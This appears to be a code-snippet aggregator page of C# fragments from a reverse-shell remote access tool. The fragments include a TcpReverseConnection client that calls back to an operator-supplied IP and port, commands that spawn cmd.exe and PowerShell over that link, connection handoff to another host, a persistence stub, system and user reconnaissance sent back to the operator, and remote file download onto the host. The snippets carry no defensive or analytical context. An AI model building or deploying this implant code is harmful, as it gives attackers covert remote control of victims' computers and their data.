Exemplo n.º 1
0
        public void Execute(TcpReverseConnection connection, string[] commandArguments)
        {
            this.connection = connection;
            Dictionary <string, string> helpText = new Dictionary <string, string>();

            // Check whether to display generic info about each command, or syntax information and example for a specific command
            if (commandArguments.Length == 2)
            {
                if (commands.ContainsKey(commandArguments[1]))
                {
                    ICommand c = (ICommand)commands[commandArguments[1]];
                    helpText = c.Help(true);

                    foreach (string commandName in helpText.Keys)
                    {
                        connection.SendData($"{commandName}{new string(' ', (25 - commandName.Length))}{helpText[commandName]}\n");
                    }
                }
                else
                {
                    connection.SendData($"Help: Invalid argument - no command '{commandArguments[1]}' exists\n");
                }
            }
            // Just get generic help text for each command
            else if (commandArguments.Length == 1)
            {
                List <Type> completedCommands = new List <Type>();

                connection.SendData("\nCore Commands\n=============\n\n");
                connection.SendData($"Command{new string(' ', 18)}Description\n-------{new string(' ', 18)}-----------\n");

                foreach (string command in commands.Keys)
                {
                    // Check whether helpText has already been displayed for another instance of the command
                    if (completedCommands.Contains(commands[command].GetType()))
                    {
                        continue;
                    }
                    else
                    {
                        var c = (ICommand)commands[command];
                        helpText = c.Help(false);


                        foreach (string commandName in helpText.Keys)
                        {
                            connection.SendData($"{commandName}{new string(' ', (25 - commandName.Length))}{helpText[commandName]}\n");
                        }

                        completedCommands.Add(commands[command].GetType());
                    }
                }

                connection.SendData("\n");
            }
            else
            {
                connection.SendData("Help: Error - too many arguments\n");
            }
        }
Exemplo n.º 2
0
        public static void Main(string[] args)
        {
            if (args.Length != 2)
            {
                throw new ArgumentException();
            }
            else
            {
                connection = new TcpReverseConnection();
                connection.StartClient(args[0], args[1]);

                // Initialize invoker which sets commands in its constructor
                CommandInvoker commandInvoker = new CommandInvoker(connection);

                connection.SendData($"Connected! Welcome to {Environment.MachineName}\nType 'help' to see available commands\n");

                while (connection.IsConnected)
                {
                    connection.SendData(prompt);
                    // TODO: try/catch for ctrl+c close of connection - maybe attempt reconnect??
                    string commandReceived = connection.ReceiveData();

                    try
                    {
                        commandInvoker.ParseCommandReceived(commandReceived);
                    }
                    catch (Exception e)
                    {
                        connection.SendData($"Exception: {e.Message}");
                    }
                }
            }
        }
Exemplo n.º 3
0
        public SubProcessIoManager(Process process, TcpReverseConnection connection)
        {
            if (process == null)
            {
                throw new NullReferenceException("ProcessIoManager unable to set running porocess");
            }

            activeConnection     = connection;
            runningProcess       = process;
            streamBuffer         = new StringBuilder(256);
            ContinueWriteToStdIn = true;
        }
Exemplo n.º 4
0
        public CommandInvoker(TcpReverseConnection connection)
        {
            this.connection = connection;

            commands.Add("help", new HelpCommand(commands));
            commands.Add("shell", new ShellSpawnCommand(@"cmd.exe"));
            commands.Add("powershell", new ShellSpawnCommand(@"powershell.exe"));
            commands.Add("handoff", new HandoffCommand());
            commands.Add("persistence", new PersistenceCommand());
            commands.Add("systeminfo", new SystemInfoCommand());
            commands.Add("upload", new UploadCommand());
            // Keep adding commands and their classes to the hashtable here
        }
Exemplo n.º 5
0
        public void Execute(TcpReverseConnection connection, string[] commandArguments)
        {
            this.connection = connection;

            //Validate command line arguments before
            if (ValidateArguments(commandArguments))
            {
                connection.HandoffConenection(commandArguments[1], commandArguments[2]);
            }
            else
            {
                connection.SendData("Handoff error - incorrect number of arguments supplied\n");
            }
        }
Exemplo n.º 6
0
 public bool ValidateArguments(string[] commandArguments)
 {
     if (commandArguments.Length == 3)
     {
         if (TcpReverseConnection.ValidateIpAddress(commandArguments[1]) && TcpReverseConnection.ValidatePortNumber(commandArguments[2]))
         {
             return(true);
         }
         else
         {
             return(false);
         }
     }
     else
     {
         return(false);
     }
 }
Exemplo n.º 7
0
        public void Execute(TcpReverseConnection connection, string[] commandArguments)
        {
            this.connection = connection;

            if (ValidateArguments(commandArguments))
            {
                WebClient webClient = new WebClient();

                try
                {
                    webClient.DownloadFile(uri.ToString(), uploadPath);
                    connection.SendData($"Upload: Successfully uploaded file to {uploadPath}\n");
                }
                catch (WebException e)
                {
                    connection.SendData($"Upload: Error - {e.Message}\n");
                }
            }
        }
Exemplo n.º 8
0
        public void Execute(TcpReverseConnection connection, string[] commandArguments)
        {
            this.connection = connection;

            //This is what will return when the systeminfo command is run is this shell
            connection.SendData($"MachineName: {Environment.MachineName}\n");
            connection.SendData($"OSVersion: {Environment.OSVersion}\n");
            connection.SendData($"dotNETVersion: {Environment.Version}\n");
            connection.SendData($"UserName: {Environment.UserName}\n");
            connection.SendData($"DomainName: {Environment.UserDomainName}\n");

            if (Environment.Is64BitOperatingSystem)
            {
                connection.SendData($"Architecture: x64\n");
            }
            else
            {
                connection.SendData($"Archtecture: x86\n");
            }
        }
Exemplo n.º 9
0
        public void Execute(TcpReverseConnection connection, string[] commandArguments)
        {
            this.connection = connection;

            ShellSubProcess     shell            = new ShellSubProcess(shellType);
            SubProcessIoManager processIoManager = new SubProcessIoManager(shell.Process, connection);

            // Subscribe to events for stdout and stderr being read from target process
            processIoManager.StdoutTextRead += new StringReadEventHandler(OnStdOutRead);
            processIoManager.StderrTextRead += new StringReadEventHandler(OnStdErrRead);

            shell.StartProcess();
            processIoManager.StartProcessOutputRead();

            // continuously write from connection.ReceiveData() to stdin of target process
            while (shell.Process.HasExited == false)
            {
                processIoManager.WriteStdIn();
            }
        }
Exemplo n.º 10
0
        public void Execute(TcpReverseConnection connection, string[] commandArguments)
        {
            this.connection = connection;

            throw new NotImplementedException();
        }
Exemplo n.º 11
0
 public Persistence(TcpReverseConnection connection)
 {
     // Get the stager assembly to be used for persistence
     this.stagerAssembly = Assembly.GetEntryAssembly();
     this.connection     = connection;
 }